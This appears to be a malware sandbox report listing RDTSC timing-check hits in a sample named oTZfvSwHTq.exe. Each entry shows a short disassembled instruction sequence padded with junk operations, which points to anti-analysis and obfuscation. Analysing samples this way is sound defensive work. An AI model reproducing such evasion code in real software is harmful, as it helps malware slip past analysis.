Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730671 second address: 730675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730675 second address: 719E5F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D3680h] 0x0000000e adc ch, FFFFFFE9h 0x00000011 call dword ptr [ebp+122D287Ah] 0x00000017 pushad 0x00000018 jg 00007F74AC8A01E8h 0x0000001e push esi 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730D2E second address: 730D54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25128h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730D54 second address: 730D83 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F74AC8A01ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F74AC8A01F5h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730D83 second address: 730D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730D8B second address: 730DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 xor dword ptr [ebp+1245C086h], eax 0x0000000d push CB15BA31h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F74AC8A01ECh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730DAD second address: 730DB7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730E96 second address: 730EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F74AC8A01ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731102 second address: 731113 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731113 second address: 731117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731247 second address: 73124B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731767 second address: 731780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F74AC8A01F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731780 second address: 731792 instructions: 0x00000000 rdtsc 0x00000002 je 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731969 second address: 7319BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jmp 00007F74AC8A01F2h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F74AC8A01E8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov ecx, esi 0x00000029 mov edi, dword ptr [ebp+122D3718h] 0x0000002f lea eax, dword ptr [ebp+1247B352h] 0x00000035 mov dword ptr [ebp+122D1CE4h], edi 0x0000003b nop 0x0000003c push eax 0x0000003d push edx 0x0000003e push esi 0x0000003f push edi 0x00000040 pop edi 0x00000041 pop esi 0x00000042 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7319BA second address: 7319C4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F74ACE2511Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7319C4 second address: 731A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F74AC8A01EEh 0x0000000d jmp 00007F74AC8A01F6h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F74AC8A01E8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e ja 00007F74AC8A01E7h 0x00000034 lea eax, dword ptr [ebp+1247B30Eh] 0x0000003a push eax 0x0000003b mov edx, 1D76BDA5h 0x00000040 pop edi 0x00000041 push eax 0x00000042 push edx 0x00000043 jbe 00007F74AC8A01ECh 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731A31 second address: 71AA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp], eax 0x00000008 mov di, bx 0x0000000b call dword ptr [ebp+122D1861h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F74ACE25125h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7748C6 second address: 7748E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74AC8A01F7h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 774BD0 second address: 774BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 774BD6 second address: 774BE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F74AC8A01F2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 774BE4 second address: 774BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77D6A5 second address: 77D6AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77D6AF second address: 77D6E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25125h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F74ACE2511Ah 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F74ACE2511Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77D6E1 second address: 77D6F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jns 00007F74AC8A01E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77D6F0 second address: 77D70D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F74ACE2512Ch 0x0000000b jmp 00007F74ACE25120h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77C24B second address: 77C251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77C4F5 second address: 77C4FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77C4FB second address: 77C503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77C503 second address: 77C507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77C507 second address: 77C50B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77C7EB second address: 77C7EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77C7EF second address: 77C7F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77C7F5 second address: 77C7FF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F74ACE2511Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77C982 second address: 77C986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77CC50 second address: 77CC6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25127h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77D52F second address: 77D535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77D535 second address: 77D53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77BE0F second address: 77BE25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F74AC8A01ECh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77BE25 second address: 77BE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77BE2B second address: 77BE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F74AC8A01EDh 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77FFD1 second address: 77FFE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE2511Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77FFE2 second address: 77FFF1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F74AC8A01E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77FFF1 second address: 77FFFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jp 00007F74ACE25116h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77FCF3 second address: 77FCFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78319C second address: 7831A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7831A0 second address: 7831A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7831A6 second address: 7831B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F74ACE2511Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7831B8 second address: 7831F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F74AC8A01F4h 0x00000008 jnl 00007F74AC8A01E6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 js 00007F74AC8A01E8h 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 push edx 0x00000021 pop edx 0x00000022 pop edx 0x00000023 pushad 0x00000024 jno 00007F74AC8A01E6h 0x0000002a jno 00007F74AC8A01E6h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7831F9 second address: 783204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F74ACE25116h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 783204 second address: 783221 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 782CF8 second address: 782D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE2511Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 782D07 second address: 782D19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 782D19 second address: 782D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F74ACE25116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 782E73 second address: 782EA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F7h 0x00000007 jmp 00007F74AC8A01F2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 782EA0 second address: 782EA5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 782EA5 second address: 782EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F74AC8A01E6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F74AC8A01F0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 782EC4 second address: 782EC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78AC09 second address: 78AC0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78AC0F second address: 78AC2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F74ACE2511Fh 0x0000000c jnp 00007F74ACE25126h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78AED8 second address: 78AEF4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F74AC8A01EAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pushad 0x00000016 popad 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78AEF4 second address: 78AEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78AEF8 second address: 78AF12 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F74AC8A01E6h 0x00000008 jmp 00007F74AC8A01F0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78AF12 second address: 78AF17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78F26A second address: 78F26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78E9DC second address: 78E9E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78EC97 second address: 78ECB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78ECB4 second address: 78ECD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F74ACE25116h 0x0000000d jmp 00007F74ACE25127h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78ECD9 second address: 78ECF9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F74AC8A01F2h 0x00000008 jno 00007F74AC8A01E6h 0x0000000e jng 00007F74AC8A01E6h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 ja 00007F74AC8A01E6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78ECF9 second address: 78ECFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78EFB1 second address: 78EFC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F74AC8A01F3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78EFC9 second address: 78EFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 78EFD5 second address: 78EFD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 790947 second address: 790958 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 794A91 second address: 794A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 794A96 second address: 794AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F74ACE25124h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79461B second address: 794620 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79B4A8 second address: 79B4C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F74ACE25121h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79B4C0 second address: 79B4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F74AC8A01EFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79BCDC second address: 79BCEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jc 00007F74ACE25116h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79BCEA second address: 79BCF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79BCF1 second address: 79BCFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79BCFB second address: 79BD0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F74AC8A01E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79BD0B second address: 79BD1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F74ACE25116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79C545 second address: 79C555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F74AC8A01E6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79C81B second address: 79C821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79C821 second address: 79C827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79C827 second address: 79C82D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79C82D second address: 79C841 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
